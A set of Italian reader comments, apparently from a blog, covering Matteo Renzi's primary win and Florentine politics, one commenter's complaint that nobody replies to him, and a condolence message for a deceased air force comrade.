    Renzi ha saputo vincere le primarie che una volta tanto sono sfuggite al controllo sovietico e ora ha una grossa responsabilità. Io lo voto e poi lo sorveglio e avrò il diritto di protestare se manca la parola. Per quanto riguarda Spini davvero preferisco non pronunciarmi, sono ancora sbalordito del fatto che si sia presentato. Comunque io mi fido anche della De Zordo e di coloro che mi sembrano in buona fede. Mi spiace solo che potrebbero essere uniti e potenti e invece sono spesso divisi grottescamente.

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  33. claudio gherardini

    C’è nissunoooooo????
    Il pensiero unico non prevede dialogo approfondito. Una volta capito che il soggetto non è organico e conforme non interessa più. Sarà mica questa la ragione delle sconfitte?
    Mi rendo conto che avete altro da fare di più importante che stare dietro a uno che è diventato un traditore della causa e vota per il bamboccio destrorso.
    Buon lavoro comunque e mi auguro che il vostro lavoro dia buoni frutti, sinceramente davvero.
    Magari ci saranno in futuro occasioni di ripresa dei contatti.

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  35. giancarlo

    sono il primo aviere capo senatore mi stringo forte al dolore della fam.di nino,
    l’uranio impoverito ce o ha portato via…..ma sempre rimarra’ nel nostro cuore,
    ciao brizio un saluto dal tuo amico.

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